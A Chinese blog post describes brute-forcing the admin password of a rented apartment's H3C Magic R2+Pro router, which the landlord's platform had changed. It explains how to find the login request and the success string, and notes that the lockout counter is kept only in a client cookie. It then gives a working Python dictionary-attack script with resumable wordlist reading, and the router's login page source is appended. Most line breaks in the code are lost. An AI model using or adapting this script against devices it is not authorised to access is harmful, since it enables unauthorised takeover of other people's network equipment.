[已实现]暴力破解路由器管理密码

自搬新家以后，第一时间连上网络，登录路由器后台。博主租的房子是某平台的，网络是由平台提供的。和上次租房不同的地方在于，这次路由器后台管理密码居然和给的wifi连接密码不一样了,肯定是有人改过密码了！admin 等弱口令都试过了，全都不管用！对一个it技术人员来说，被人掌握网络生杀大权肯定是无法容忍的!

第一次测试的时候尝试用telnet登录路由器，发现密码已经被更改，无法登录，预料是跟web控制台密码一起改变的。

没有办法只能去研究web登录界面。

要暴力破解的话,我们需要用代码去构造http请求,因此我们要具备以下条件：

1.登录请求的地址是多少

2.请求格式是怎么样的

3.登录成功以后改如何判断

4.有没有对暴力破解做黑名单限制(有的话我们需要更改mac地址)

5.暴力破解的字典

话不多说赶紧去尝试

于是博主去尝试下登录失败以后,有密码错误的提示:

network如下，很明显的同步提交。了解http的都知道同步表当提交表单data放在body里,以 [参数名]=[值]的形数存放到

这里我们构造请求的请求地址,参数都有了。

然后我们去判断一下怎么会弹出错误提示的：

因为是同步提交,其实本质上是对页面的跳转，很明显html内容就在response里面,

ctrl+f 一把找到了密码错误的JS ,可以看到 checkPsdFlag是关键checkPsdFlag='flase'。

弹出来的密码错误,在往上面看'true'==checkPsdFlag 是登录成功。

神奇的地方在于checkPsdFlag是resultInfo字符串截取出来的。

那岂不是这个页面永远都是登录失败？没错！

记得上面所说的么，这个是同步请求。因此我怀疑 resultInfo是后台代码渲染出来的，

失败的时候是var resultInfo="false;0"; 成功的时候是var resultInfo="true;0";

证据在下面：当三次登录失败以后，再刷新这个页面：

所以登录成功的条件就是返回的html里面存在 var resultInfo="true;0";

据我研究这个页面没有记录登录测试,连登录次数都是记录在cookie里的,算是比较幼稚的代码(。≖ˇェˇ≖。)

所以就犯不着修改物理地址去欺骗路由器了。直接暴力破解。

于是写了一段python代码[比较随意写的，只为了破解，就没特意封装 ( ᖛ ̫ ᖛ )ʃ)]

字典比较大,所以遍历文件的时候有个跳过多少行参数[这样今天破解不完下次直接跳过上次已经读过的行继续往下破解就好了]

# -*- coding: utf-8 -*-import requests
from itertools import islice
import sys
headers = {'User-Agent':'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0','Cookie':'LOGINCOUNT=1; LOGIN_PSD_REM_FLAG=0; PSWMOBILEFLAG=true'
}def post(passwd):data="psd="+passwdres = requests.post(url="http://192.168.124.1/router_password_mobile.asp",data=data,headers=headers)if('var resultInfo="true;0";' in res.text):return Trueelse:return Falsedef record(content):with open("E:/work/36.4GB-18_in_1.lst/passwd.txt", 'w') as file:file.write(content)def readDic(skip):linenum = skip - 1with open("E:/work/36.4GB-18_in_1.lst/18_in_1.lst", 'r') as file:for line in islice(file,skip,None):linenum = linenum+1line=line.replace('\n',"")res=post(line)print(str(linenum)+" "+line+" "+str(res), end="|")if(res):print("FOUND!")record("FOUND! "+str(linenum)+" "+line+" "+str(res))breakif(linenum%1000 == 0):record(str(linenum)+" "+line+" "+str(res))
if __name__ == "__main__":readDic(0)

其中record会每1000行记录下行号，在破译成功的时候记录正确的密码。字典的话需要网上自己去下载

然后就可以开始破解了：

记录着行号密码结果

最后贴下路由器返回页面的源码ฅ•ﻌ•ฅ

<!DOCTYPE html PUBLIC "-//WAPFORUM//DTD XHTML Mobile 1.0//EN" "http://www.wapforum.org/DTD/xhtml-mobile10.dtd">
<HTML><HEAD>
<meta http-equiv="X-UA-Compatible" content="IE=EDGE">
<META http-equiv=Content-Type content="text/html; charset=gb2312">
<META HTTP-EQUIV=Pragma CONTENT=no-cache>
<meta name="viewport" content="user-scalable=0" />
<meta name="viewport" content="width=device-width,initial-scale=1.0,maximum-scale=1.0,user-scalable=0" />
<title>H3C&nbsp;Magic R2+Pro千兆版&nbsp设备登录</TITLE>
<LINK Rel="SHORTCUT ICON" href="favicon.ico" type="image/x-icon">
<LINK href=er_globe.css type=text/css rel=stylesheet>
<SCRIPT src=icg_helpScript.js></SCRIPT>
<SCRIPT language=JavaScript src=icg_utils.js></SCRIPT>
<SCRIPT src=utils.js></SCRIPT>
<script src=globalFunctions.js type=text/javascript></script>
<script src=main.js type=text/javascript></script>
<SCRIPT src=Scg_cookie.js></SCRIPT><SCRIPT language=JavaScript>var sys_version = "R2+ProGV100R006L01";
var Product_Type = "R2+ProG";
var mac_addr = "78:2C:29:DF:91:86";
var lan_local_info='192.168.124.1;255.255.255.0;0;78:2C:29:DF:91:86';var PRODUCT_FORUM_URL = "http://bbs.h3c.com";
var PRODUCT_APPLICATION_URL = "http://magic.h3c.com/rest/magic/getApp";
var bPwdIsSyncByAc = 0;
var DefaultLoginflag = 0;
var admin_same_flag = 0;
var IsSupportPcWebOnly = 0;var tt = lan_local_info.split(";");
var ip_addr = tt[0];
var telnumber = "400 600 6363";
var user_level = 1;/*获取系统类型(PC or Mobile)*/
var isMobileSyetem = checkMobile();
var isAppleSystem = checkAndroidOrApp();function wifi_init()
{/*Begin: Added by y09312 of 2015-03-03*//*如果路由器登录页面只是一个子页面，则将其主页面切换为当前登录页面。*/var parentPage = top.window.location.toString().replace(/.*\//,'');parentPage=parentPage.replace(/\?.*/,'');if(parentPage != cPage){top.window.location = cPage;}/*End: Added by y09312 of 2015-03-03*/document.getElementById("psd").value = "";document.router_password_set.psd.focus();
}function onBodyLoad()
{/*刷新登录页面或者提交失败时，清除cookie。*/deleteCookie("USERLOGINIDFLAG");deleteCookie("MAIN_FLAG");deleteCookie("MOBILE_FLAG");wifi_init();var flag = getCookie("PSWMOBILEFLAG");if("true" == flag){var resultInfo="false;0";var resultArray = resultInfo.split(";");var checkPsdFlag = resultArray[0];var sessionid = resultArray[1];if ("true" == checkPsdFlag){/*只有密码验证成功之后，才更新cookie。*/addCookie("USERLOGINIDFLAG", sessionid);deleteCookie("LOGINCOUNT");if (1 == IsSupportPcWebOnly){GURL("home.asp");}else{GURL("mobile.asp");}return;}else if("false" == checkPsdFlag){	    			  /*Begin Modified by y09312 2016-06-16, IDMS: 201606300144, of 解决Web登录用户超过限制时Webs进程挂死问题*/if(1 == sessionid){mobile_display_message("warningmsg", "访问用户个数超过最大限制。");}else{var wrong_logincount = getCookie("LOGINCOUNT");if ("3" == wrong_logincount){deleteCookie("LOGINCOUNT");GURL("wrong_login.asp");}else{mobile_display_message("warningmsg", "密码错误，请重试。");/*首次打开浏览器时，cookie值为空; 在IE中，空为undefined；在firefox中，空可直接判断；其余主流浏览器都在这两种情况内。*/if (("" == wrong_logincount) || ("undefined" == typeof(wrong_logincount))){addCookie("LOGINCOUNT", "1");}else if ("1" == wrong_logincount){addCookie("LOGINCOUNT", "2");}else if ("2" == wrong_logincount){addCookie("LOGINCOUNT", "3");}}									}/*End Modified by y09312 2016-06-16, IDMS: 201606300144, of 解决Web登录用户超过限制时Webs进程挂死问题*/document.getElementById("psd").select();}}/*根据屏幕分辨率，动态调整页面宽度和高度。*/var screen_width = screen.availWidth;var screen_height = screen.availHeight;document.getElementById("formbackground").style.width = screen_width;document.getElementById("formbackground").style.height = screen_height;deleteCookie("PSWMOBILEFLAG");deleteCookie("LOGIN_PSD_REM_FLAG");return;
}function mySubmit()
{var sUserPass = document.getElementById("psd").value;document.getElementById("warningmsg").innerHTML="";document.getElementById("warningmsg").height = 1;if (0 == sUserPass.length){mobile_display_message("warningmsg", "请输入密码。");document.getElementById("psd").focus();return false;}if(document.getElementById("psd_en").checked == true){addCookie("LOGIN_PSD_REM_FLAG", 1);}else{addCookie("LOGIN_PSD_REM_FLAG", 0);}addCookie("PSWMOBILEFLAG", "true");document.router_password_set.submit();return true;
}function GURL(page)
{window.location = page;
}function link(item)
{document.getElementById(item).href = PRODUCT_APPLICATION_URL; document.getElementById(item).target = "_blank";
}function mouseOn(item)
{document.getElementById(item).style.textDecoration= 'underline';
}function mouseOut(item)
{document.getElementById(item).style.textDecoration= 'none';
}function accept_it()
{deleteCookie("LOGINCOUNT");GURL("wrong_login.asp");
}</SCRIPT>
</HEAD>
<body bgcolor=#ffffff leftMargin=0 topMargin=0 MARGINWIDTH=0 MARGINHEIGHT=0 BORDER=0 onload=onBodyLoad()><div id="formbackground" name="formbackground" style="position:absolute; z-index:-1;"><SCRIPT language=JavaScript>if(true == isMobileSyetem){document.write('<img id="bodyimg" name="bodyimg" src="bg_mobile2.jpg" height="100%" width="100%">');}else{document.write('<img id="bodyimg" name="bodyimg" src="bg_pc2.jpg" height="100%" width="100%">');}</SCRIPT>
</div><table id="firstTable" border=0 width="100%" height=60 style="background-color:#4670a9;">
<TR> <TD width=5%></TD><TD width=25%><div align=left><IMG id="go" name="go" src="h3c_logo.png" class=mobileH3cImg onclick="goto_H3C()"></div></TD><TD width=40%></TD><TD width=25%></TD><TD width=5%></TD>
</TR>
</table><FORM action="" method="POST" name=router_password_set>
<TABLE cellSpacing=0 cellPadding=3 border=0 width=100%><TBODY><TR><TD align=center height=20 colspan=3></TD></TR><TR><TD width=10%></TD><TD width=80% align=left height=40><span style="width:100%; height:30; text-align:left; color:#1e5094; font-family:Microsoft YaHei; font-size:16px;">管理密码</span></TD><TD width=10%></TD></TR><TR><TD align=center height=40 colspan=3><INPUT type=password id="psd" name="psd" maxlength="63" style="width:80%;" class=mobileText onkeypress="onEnterSub_Firefox(event,mySubmit,user_level)" onpaste="return false;"><input type=text style="display:none;"></TD></TR><TR><TD WIDTH=10%></TD><TD WIDTH=80% align=left><INPUT id="psd_en" name="psd_en" type=checkbox><span style="height:30; text-align:left; color:#1e5094; font-family:Microsoft YaHei; font-size:13px;">记住密码</span><span>&nbsp</span><span style="height:30; text-align:left; color:#33bcef; font-family:Microsoft YaHei; font-size:13px; cursor:pointer; text-decoration:underline;" onclick="accept_it();" >忘记密码？</span></TD><TD WIDTH=10%></TD></TR><SCRIPT language=JavaScript>if(1 == bPwdIsSyncByAc){document.write('<TR class=textCell>');document.write('<TD colspan=1 width="10%" align=left></TD>');document.write('<TD colspan=1 width="80%" id="pass_message" name="pass_message" class=mobileNoticeTxt>')mobile_display_message_shuoming("pass_message", "当前管理密码与管理器的密码一致。");document.write('</TD>');document.write('<TD WIDTH=10%></TD>');document.write('</TR>');}else if(1 == DefaultLoginflag){document.write('<TR class=textCell>');document.write('<TD colspan=1 width="10%" align=left></TD>');document.write('<TD colspan=1 width="80%" id="pass_message" name="pass_message" class=mobileNoticeTxt>')mobile_display_message_shuoming("pass_message", "当前为默认密码【admin】。");document.write('</TD>');document.write('<TD WIDTH=10%></TD>');document.write('</TR>');}else if(1 == admin_same_flag){document.write('<TR class=textCell>');document.write('<TD colspan=1 width="10%" align=left></TD>');document.write('<TD colspan=1 width="80%" id="pass_message" name="pass_message" class=mobileNoticeTxt>')mobile_display_message_shuoming("pass_message", "当前管理密码与Wi-Fi密码一致。");document.write('</TD>');document.write('<TD WIDTH=10%></TD>');document.write('</TR>');}</SCRIPT>    <TR><TD WIDTH=10%></TD><TD WIDTH=80% align=left class=mobileWarnningTxt id="warningmsg" name="warningmsg"></TD><TD WIDTH=10%></TD></TR><TR><TD align=center height=10 colspan=3></TD></TR><TR><TD align=center height=40 colspan=3><input name="login" id="login" type=button style="WIDTH:80%; HEIGHT:45px;" class=mobileButton value="登录" onclick="mySubmit();"></TD></TR><TR><TD align=center colspan=3><SCRIPT language=JavaScript>/*以下产品支持APP: B1、B1ST、F1、R2+、R2+pro*//*以下产品不支持APP: B0、B3、R100*//*在PC端需显示APP和微信的二维码图片，在移动端只需显示APP的链接*/if (("B3" != Product_Type) && ("B0" != Product_Type) && ("R100" != Product_Type)){/* Begin modify by w12167, 2016-1-4, IDMS:201601040185 */if(true == isMobileSyetem){if("" != PRODUCT_APPLICATION_URL){document.write('<TR><TD height=100 align=center colspan=3 style="FONT-SIZE:16px; FONT-WEIGHT:bold; color:#1c4e92; FONT-FAMILY: "Microsoft YaHei" ! important;">');document.write('<a id="APP_URL" name="APP_URL" style="text-decoration:underline;cursor:pointer; FONT-SIZE:16px; FONT-WEIGHT:bold; color:#1c4e92; FONT-FAMILY: "Microsoft YaHei" ! important;" onclick="link(\'APP_URL\');">点击下载华三魔术家APP</a>');document.write('</TD></TR>');}}/* End modify by w12167, 2015-1-4, IDMS:201601040185 */else{/* Begin modify by w12167,2-15-12-10.IDMS:201511250468 *//* Begin modify by jiangjiguang 11967, 2015-8-19, IDMS 201508190089 *///如果是PC，则推送二维码。document.write('<TR><TD colspan=3>&nbsp;</TD></TR>');document.write('<TR><TD align=center colspan=3>');if ("A210-G" != Product_Type){document.write('<a><img src="magic_app.jpg" border="0" style="height:236px; width:200px;"></a>');document.write('<label>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</label>');}document.write('<a><img src="weixin.jpg" border="0" style="height:236px; width:200px;"></a>');document.write('</TD></TR>');/* End modify by jiangjiguang 11967, 2015-8-19, IDMS 201508190089 *//* End modify by w12167,2-15-12-10.IDMS:201511250468 */}}else{/* Begin modify by w12167, 2016-1-4, IDMS:201601040185 */if(true == isMobileSyetem){;}/* End modify by w12167, 2015-1-4, IDMS:201601040185 */else{/* Begin modify by w12167, 2015-12-11, IDMS:201511250468 *//* Begin modify by jiangjiguang 11967, 2015-8-19, IDMS 201508190089 *///如果是PC，则推送二维码。document.write('<TR><TD colspan=3>&nbsp;</TD></TR>');document.write('<TR><TD align=center colspan=3>');document.write('<a><img src="weixin.jpg" border="0" style="height:236px; width:200px;"></a>');document.write('</TD></TR>');/* End modify by jiangjiguang 11967, 2015-8-19, IDMS 201508190089 *//* End modify by w12167, 2015-12-11, IDMS:201511250468 */}}</SCRIPT></TD></TR></TBODY>
</TABLE>
</FORM>
</BODY>
</HTML>